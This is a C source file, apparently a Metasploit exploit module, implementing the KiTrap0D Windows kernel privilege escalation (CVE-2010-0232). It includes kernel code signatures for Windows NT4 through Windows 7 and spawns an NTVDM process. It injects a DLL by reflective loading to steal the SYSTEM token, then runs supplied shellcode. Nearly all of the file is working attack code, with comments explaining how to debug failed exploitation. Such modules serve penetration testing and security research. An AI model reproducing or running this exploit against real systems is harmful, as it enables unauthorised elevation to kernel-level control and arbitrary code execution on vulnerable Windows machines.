Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/exploits/CVE-2010-0232/kitrap0d/kitrap0d.c
Views: 11784
/*!1* @file kitrap0d.c2* @brief A port of HDM's/Pusscat's implementation of Tavis Ormandy's code (vdmallowed.c).3* @remark See http://archives.neohapsis.com/archives/fulldisclosure/2010-01/0346.html4* @remark Known Bugs:5* - Windows NT4 fails to map the NULL page, (exit code 'NTAV').6* - Windows 2000 fails to find the VDM_TIB size (something else is wrong)7* - Windows 2008 Storage Server has 16-bit applications disabled by default8* - Windows 2008 Storage Server is also missing twunk_16.exe, has debug.exe9*/10#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR11#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN12#include "../../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"1314#include <stdio.h>15#include "../common/common.h"16#include "../../../ReflectiveDLLInjection/inject/src/LoadLibraryR.h"17#include "../common/ResourceLoader.h"18#include "resource.h"1920#define PAGE_SIZE 0x10002122enum { SystemModuleInformation = 11 };2324typedef struct25{26ULONG Unknown1;27ULONG Unknown2;28PVOID Base;29ULONG Size;30ULONG Flags;31USHORT Index;32USHORT NameLength;33USHORT LoadCount;34USHORT PathLength;35CHAR ImageName[256];36} SYSTEM_MODULE_INFORMATION_ENTRY, * PSYSTEM_MODULE_INFORMATION_ENTRY;3738typedef struct39{40ULONG Count;41SYSTEM_MODULE_INFORMATION_ENTRY Module[1];42} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;4344typedef struct CodeSignature45{46UCHAR Signature[16];47DWORD Version;48};4950/*!51* @brief List of code signatures used when searching kernel memory.52* @remark These are generated using kd -kl -c 'db nt!Ki386BiosCallReturnAddress;q'53*/54struct CodeSignature CodeSignatures[] = {55{ "\x64\xA1\x1C\x00\x00\x00\x5A\x89\x50\x04\x8B\x88\x24\x01\x00\x00", 0 }, // Windows NT456{ "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x70\x04\xB9\x84", 1 }, // Windows 200057{ "\x64\xA1\x1C\x00\x00\x00\x5F\x8B\x70\x04\xB9\x84\x00\x00\x00\x89", 1 }, // Windows 2000 SP4 Advanced Server58{ "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x70\x04\xB9\x84", 2 }, // Windows XP59{ "\xA1\x1C\xF0\xDF\xFF\x8B\x7D\x58\x8B\x3F\x8B\x88\x24\x01\x00\x00", 3 }, // Windows 200360{ "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x88\x24\x01\x00", 3 }, // Windows .NET61{ "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x88\x24\x01\x00", 4 }, // Windows Vista62{ "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x88\x24\x01\x00", 5 }, // Windows 200863{ "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x88\x24\x01\x00", 6 }, // Windows 764{ "", -1 }65};6667/*!68* @brief Scan the appropriate kernel image for the correct offset.69* @retval TRUE An offset was found.70* @retval FALSE An offset was not found.71*/72BOOL kitrap0d_scan_kernel(PDWORD KernelBase, PDWORD OffsetFromBase)73{74DWORD dwResult = ERROR_SUCCESS;75FARPROC NtQuerySystemInformation = NULL;76HMODULE hKernel = NULL;77HMODULE hNtdll = NULL;78PIMAGE_DOS_HEADER DosHeader = NULL;79PIMAGE_NT_HEADERS PeHeader = NULL;80PIMAGE_OPTIONAL_HEADER OptHeader = NULL;81PBYTE ImageBase = NULL;82HKEY MmHandle = NULL;83OSVERSIONINFO os = { 0 };84SYSTEM_MODULE_INFORMATION ModuleInfo = { 0 };85DWORD PhysicalAddressExtensions = 0;86DWORD DataSize = 0;87ULONG i = 0;88ULONG x = 0;8990// List of versions we have code signatures for.91enum {92MICROSOFT_WINDOWS_NT4 = 0,93MICROSOFT_WINDOWS_2000 = 1,94MICROSOFT_WINDOWS_XP = 2,95MICROSOFT_WINDOWS_2003 = 3,96MICROSOFT_WINDOWS_VISTA = 4,97MICROSOFT_WINDOWS_2008 = 5,98MICROSOFT_WINDOWS_7 = 6,99} Version = MICROSOFT_WINDOWS_7;100101do102{103hNtdll = GetModuleHandle("ntdll");104if (!hNtdll) {105BREAK_WITH_ERROR("[KITRAP0D] kitrap0d_scan_kernel. GetModuleHandle ntdll failed", ERROR_INVALID_HANDLE);106}107108// NtQuerySystemInformation can be used to find kernel base address109NtQuerySystemInformation = GetProcAddress(hNtdll, "NtQuerySystemInformation");110if (!NtQuerySystemInformation) {111BREAK_WITH_ERROR("[KITRAP0D] kitrap0d_scan_kernel. GetProcAddress NtQuerySystemInformation failed", ERROR_INVALID_HANDLE);112}113114// Determine kernel version so that the correct code signature is used115os.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);116if (!GetVersionEx(&os)) {117BREAK_ON_ERROR("[KITRAP0D] kitrap0d_scan_kernel. GetVersionEx failed");118}119120dprintf("[KITRAP0D] kitrap0d_scan_kernel. GetVersionEx() => %u.%u", os.dwMajorVersion, os.dwMinorVersion);121122if (os.dwMajorVersion == 4 && os.dwMinorVersion == 0) {123Version = MICROSOFT_WINDOWS_NT4;124}125if (os.dwMajorVersion == 5) {126if (os.dwMinorVersion == 0) {127Version = MICROSOFT_WINDOWS_2000;128}129if (os.dwMinorVersion == 1) {130Version = MICROSOFT_WINDOWS_XP;131}132if (os.dwMinorVersion == 2) {133Version = MICROSOFT_WINDOWS_2003;134}135}136if (os.dwMajorVersion == 6) {137if (os.dwMinorVersion == 0) {138Version = MICROSOFT_WINDOWS_VISTA;139}140if (os.dwMinorVersion == 0) {141Version = MICROSOFT_WINDOWS_2008;142}143if (os.dwMinorVersion == 1) {144Version = MICROSOFT_WINDOWS_7;145}146}147148// Learn the loaded kernel (e.g. NTKRNLPA vs NTOSKRNL), and it's base address149NtQuerySystemInformation(SystemModuleInformation, &ModuleInfo, sizeof(ModuleInfo), NULL);150151dprintf("[KITRAP0D] kitrap0d_scan_kernel. NtQuerySystemInformation() => %s@%p", ModuleInfo.Module[0].ImageName, ModuleInfo.Module[0].Base);152153// Load the kernel image specified154hKernel = LoadLibrary(strrchr(ModuleInfo.Module[0].ImageName, '\\') + 1);155if (!hKernel) {156BREAK_ON_ERROR("[KITRAP0D] kitrap0d_scan_kernel. LoadLibrary failed");157}158159// Parse image headers160*KernelBase = (DWORD)ModuleInfo.Module[0].Base;161ImageBase = (PBYTE)hKernel;162DosHeader = (PIMAGE_DOS_HEADER)ImageBase;163PeHeader = (PIMAGE_NT_HEADERS)(ImageBase + DosHeader->e_lfanew);164OptHeader = &PeHeader->OptionalHeader;165166dprintf("[KITRAP0D] kitrap0d_scan_kernel. Searching for kernel %u.%u signature: version %d...", os.dwMajorVersion, os.dwMinorVersion, Version);167168for (x = 0;; x++)169{170if (CodeSignatures[x].Version == -1) {171break;172}173174if (CodeSignatures[x].Version != Version) {175continue;176}177178dprintf("[KITRAP0D] kitrap0d_scan_kernel. Trying signature with index %d", x);179180// Scan for the appropriate signature...181for (i = OptHeader->BaseOfCode; i < OptHeader->SizeOfCode; i++)182{183if (memcmp(&ImageBase[i], CodeSignatures[x].Signature, sizeof CodeSignatures[x].Signature) == 0)184{185dprintf("[KITRAP0D] kitrap0d_scan_kernel. Signature found %#x bytes from kernel base", i);186187*OffsetFromBase = i;188189FreeLibrary(hKernel);190191return TRUE;192}193}194}195196} while (0);197198dprintf("[KITRAP0D] kitrap0d_scan_kernel. Code not found, the signatures need to be updated for this kernel");199200if (hKernel) {201FreeLibrary(hKernel);202}203204return FALSE;205}206207/*!208* @brief Grab a useful Handle to NTVDM.209* @param cpProgram Path to the program to invoke.210* @param hProcess Pointer to the variable that will receive the process handle.211* @retval TRUE Handle acquisition succeeded.212* @retval TRUE Handle acquisition failed.213*/214BOOL kitrap0d_spawn_ntvdm(char * cpProgram, HANDLE * hProcess)215{216DWORD dwResult = ERROR_SUCCESS;217PROCESS_INFORMATION pi = { 0 };218STARTUPINFO si = { 0 };219ULONG i = 0;220221do222{223si.cb = sizeof(STARTUPINFO);224225// Start the child process, which should invoke NTVDM...226if (!CreateProcess(cpProgram, cpProgram, NULL, NULL, 0, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {227BREAK_ON_ERROR("[KITRAP0D] kitrap0d_spawn_ntvdm. CreateProcess failed");228}229230dprintf("[KITRAP0D] kitrap0d_spawn_ntvdm. CreateProcess(\"%s\") => %u", cpProgram, pi.dwProcessId);231232// Get more access233*hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ | PROCESS_TERMINATE, FALSE, pi.dwProcessId);234if (*hProcess == NULL)235{236TerminateProcess(pi.hProcess, 'SPWN');237CloseHandle(pi.hThread);238CloseHandle(pi.hProcess);239BREAK_ON_ERROR("[KITRAP0D] kitrap0d_spawn_ntvdm. OpenProcess failed");240}241242dprintf("[KITRAP0D] kitrap0d_spawn_ntvdm. OpenProcess(%u) => %#x", pi.dwProcessId, *hProcess);243244CloseHandle(pi.hThread);245246CloseHandle(pi.hProcess);247248} while (0);249250if (dwResult == ERROR_SUCCESS) {251return TRUE;252}253254return FALSE;255}256257/*!258* @brief Find a suitable exe to host the exploit in.259* @param cpOutput Buffer that will contain the path to the executable which will260* host the exploit.261* @param dwOutputSize Size of the \c cpOutput buffer.262* @retval TRUE Found a valid exe to host the exploit in.263* @retval FALSE Unable to find a valid exe to host the exploit in.264*/265BOOL elevate_via_exploit_getpath( char *cpOutput, DWORD dwOutputSize )266{267DWORD dwResult = ERROR_SUCCESS;268char cWinDir[MAX_PATH] = {0};269DWORD dwIndex = 0;270char * cpFiles[] = { "twunk_16.exe",271"debug.exe",272"system32\\debug.exe",273NULL };274275do276{277if( !GetWindowsDirectory( cWinDir, MAX_PATH ) )278BREAK_ON_ERROR( "[KITRAP0D] elevate_via_exploit_getpath. GetWindowsDirectory failed" );279280while( TRUE )281{282char * cpFileName = cpFiles[dwIndex];283if( !cpFileName )284break;285286if ( _snprintf_s( cpOutput, dwOutputSize, dwOutputSize - 1, "%s%s%s", cWinDir,287cWinDir[ strlen(cWinDir) - 1 ] == '\\' ? "" : "\\", cpFileName ) == -1 )288{289dprintf( "[KITRAP0D] elevate_via_exploit_getpath. Path truncation: %s", cpOutput );290break;291}292293dprintf( "[KITRAP0D] elevate_via_exploit_getpath. Trying: %s", cpOutput );294295if( GetFileAttributes( cpOutput ) != INVALID_FILE_ATTRIBUTES )296return TRUE;297298memset( cpOutput, 0, dwOutputSize );299300dwIndex++;301}302303} while(0);304305return FALSE;306}307308/*!309* @brief Helper thread function which runs the given payload directly.310* @param lpPayload The payload shellcode to execute.311* @returns \c ERROR_SUCCESS312*/313DWORD WINAPI execute_payload(LPVOID lpPayload)314{315dprintf("[KITRAP0D] Payload thread started.");316VOID(*lpCode)() = (VOID(*)())lpPayload;317lpCode();318return ERROR_SUCCESS;319}320321/*!322* @breif Entry point for the KiTrap0D exploit.323* @remark This is known as CVE-2010-0232.324* @param hElevateModule Handle to the DLL which contains the kitrap0d_payload DLL.325* @param lpPayload Pointer to the shellcode to run on successful exploitation.326* @returns Indication of success or failure.327* @retval ERROR_SUCCESS The exploit worked as expected.328* @retval ERROR_NOT_SUPPORTED The exploit is not supported on this platform.329*/330DWORD elevate_via_exploit_kitrap0d(HMODULE hElevateModule, LPVOID lpPayload)331{332DWORD dwResult = ERROR_SUCCESS;333HANDLE hVdm = NULL;334HANDLE hThread = NULL;335LPVOID lpServiceBuffer = NULL;336LPVOID lpRemoteCommandLine = NULL;337char cWinDir[MAX_PATH] = { 0 };338char cVdmPath[MAX_PATH] = { 0 };339char cCommandLine[MAX_PATH] = { 0 };340DWORD dwExitCode = 0;341DWORD dwKernelBase = 0;342DWORD dwOffset = 0;343DWORD dwServiceLength = 0;344345do346{347dprintf("[KITRAP0D] elevate_via_exploit_kitrap0d. Starting with HMODULE %x ...", hElevateModule);348349if (lpPayload == NULL) {350BREAK_WITH_ERROR("[KITRAP0D] payload argument not specified", ERROR_BAD_ARGUMENTS);351}352353if (resource_extract_raw(hElevateModule, IDR_DLL_KITRAP0D, "DLL", (LPBYTE*)&lpServiceBuffer, &dwServiceLength) != ERROR_SUCCESS) {354BREAK_WITH_ERROR("[KITRAP0D] elevate_via_exploit_kitrap0d. Failed to find/load kitrap0d.dll", ERROR_BAD_ARGUMENTS);355}356357if (!dwServiceLength || !lpServiceBuffer) {358BREAK_WITH_ERROR("[KITRAP0D] elevate_via_exploit_kitrap0d. Failed to find/load kitrap0d.dll", ERROR_BAD_ARGUMENTS);359}360361// 1. first get a file path to a suitable exe...362if (!elevate_via_exploit_getpath(cVdmPath, MAX_PATH)) {363BREAK_WITH_ERROR("[KITRAP0D] elevate_via_exploit_kitrap0d. elevate_via_exploit_getpath failed", ERROR_FILE_NOT_FOUND);364}365366// 2. Scan kernel image for the required code sequence, and find the base address...367if (!kitrap0d_scan_kernel(&dwKernelBase, &dwOffset)) {368BREAK_WITH_ERROR("[KITRAP0D] elevate_via_exploit_kitrap0d. kitrap0d_scanforcodesignature failed", ERROR_INVALID_HANDLE);369}370371// 3. Invoke the NTVDM subsystem, by launching any MS-DOS executable...372dprintf("[KITRAP0D] elevate_via_exploit_kitrap0d. Starting the NTVDM subsystem by launching MS-DOS executable");373374if (!kitrap0d_spawn_ntvdm(cVdmPath, &hVdm)) {375BREAK_WITH_ERROR("[KITRAP0D] elevate_via_exploit_kitrap0d. kitrap0d_spawn_ntvdm failed", ERROR_INVALID_HANDLE);376}377378// 4. Use RDI to inject the elevator dll into the remote NTVDM process...379// Passing in the parameters required by exploit thread via the LoadRemoteLibraryR inject technique.380_snprintf_s(cCommandLine, sizeof(cCommandLine), sizeof(cCommandLine), "/VDM_TARGET_PID:0x%08X /VDM_TARGET_KRN:0x%08X /VDM_TARGET_OFF:0x%08X\x00", GetCurrentProcessId(), dwKernelBase, dwOffset);381382// alloc some space and write the commandline which we will pass to the injected dll...383lpRemoteCommandLine = VirtualAllocEx(hVdm, NULL, strlen(cCommandLine) + 1, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);384385if (!lpRemoteCommandLine) {386BREAK_ON_ERROR("[KITRAP0D] elevate_via_exploit_kitrap0d. VirtualAllocEx failed");387}388389if (!WriteProcessMemory(hVdm, lpRemoteCommandLine, cCommandLine, strlen(cCommandLine) + 1, NULL)) {390BREAK_ON_ERROR("[KITRAP0D] elevate_via_exploit_kitrap0d. WriteProcessMemory failed");391}392393// inject the dll...394hThread = LoadRemoteLibraryR(hVdm, lpServiceBuffer, dwServiceLength, lpRemoteCommandLine);395if (!hThread) {396BREAK_ON_ERROR("[KITRAP0D] elevate_via_exploit_kitrap0d. LoadRemoteLibraryR failed");397}398399// 5. Wait for the thread to complete400dprintf("[KITRAP0D] elevate_via_exploit_kitrap0d. WaitForSingleObject(%#x, INFINITE);", hThread);401WaitForSingleObject(hThread, INFINITE);402403// pass some information back via the exit code to indicate what happened.404GetExitCodeThread(hThread, &dwExitCode);405406dprintf("[KITRAP0D] elevate_via_exploit_kitrap0d. GetExitCodeThread(%#x, %p); => %#x", hThread, &dwExitCode, dwExitCode);407408switch (dwExitCode)409{410case 'VTIB':411// A data structure supplied to the kernel called VDM_TIB has to have a 'size' field that412// matches what the kernel expects.413// Try running `kd -kl -c 'uf nt!VdmpGetVdmTib;q'` and looking for the size comparison.414BREAK_WITH_ERROR("[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread was unable to find the size of the VDM_TIB structure", dwExitCode);415case 'NTAV':416// NtAllocateVirtualMemory() can usually be used to map the NULL page, which NtVdmControl()417// expects to be present.418// The exploit thread reports it didn't work.419BREAK_WITH_ERROR("[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread was unable to map the virtual 8086 address space", dwExitCode);420case 'VDMC':421// NtVdmControl() must be initialised before you can begin vm86 execution, but it failed.422// It's entirely undocumented, so you'll have to use kd to step through it and find out why423// it's failing.424BREAK_WITH_ERROR("[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread reports NtVdmControl() failed", dwExitCode);425case 'LPID':426// This exploit will try to transplant the token from PsInitialSystemProcess on to an427// unprivileged process owned by you.428// PsLookupProcessByProcessId() failed when trying to find your process.429BREAK_WITH_ERROR("[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread reports that PsLookupProcessByProcessId() failed", dwExitCode);430case FALSE:431// This probably means LoadLibrary() failed, perhaps the exploit dll could not be found?432// Verify the vdmexploit.dll file exists, is readable and is in a suitable location.433BREAK_WITH_ERROR("[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread was unable to load the injected dll", dwExitCode);434case 'w00t':435// This means the exploit payload was executed at ring0 and succeeded.436BREAK_WITH_ERROR("[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread reports exploitation was successful", ERROR_SUCCESS);437default:438// Unknown error. Sorry, you're on your own.439BREAK_WITH_ERROR("[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread returned an unexpected error. ", dwExitCode);440}441442} while (0);443444if (hVdm)445{446TerminateProcess(hVdm, 0);447CloseHandle(hVdm);448}449450if (hThread)451{452CloseHandle(hThread);453}454455// if we succeeded, we need to run our payload in another thread.456if (dwResult == ERROR_SUCCESS) {457CreateThread(0, 0, execute_payload, lpPayload, 0, NULL);458}459460return dwResult;461}462463/*!464* @brief Entry point to the exploit DLL.465* @param hinstDLL Reference to the DLL's module.466* @param dwReason The reason code for the invocation.467* @param lpReserved A reserved value, used by the exploit code.468* - \c RUN_EXPLOIT_KITRAP0D - Execute the KiTrap0d exploit.469* @returns \c TRUE all the time.470* @remark The \c lpReserved value contains a number which identifies which471* exploit to invoke. This needs to be passed in from MSF, otherwise472* no exploit funtionality will be invoked.473*/474BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)475{476DWORD dwExploit = 0;477BOOL bReturnValue = TRUE;478479switch (dwReason)480{481case DLL_PROCESS_ATTACH:482hAppInstance = hinstDLL;483elevate_via_exploit_kitrap0d(hinstDLL, lpReserved);484break;485case DLL_QUERY_HMODULE:486if (lpReserved != NULL) {487*(HMODULE *)lpReserved = hAppInstance;488}489break;490case DLL_PROCESS_DETACH:491case DLL_THREAD_ATTACH:492case DLL_THREAD_DETACH:493break;494}495return bReturnValue;496}497498499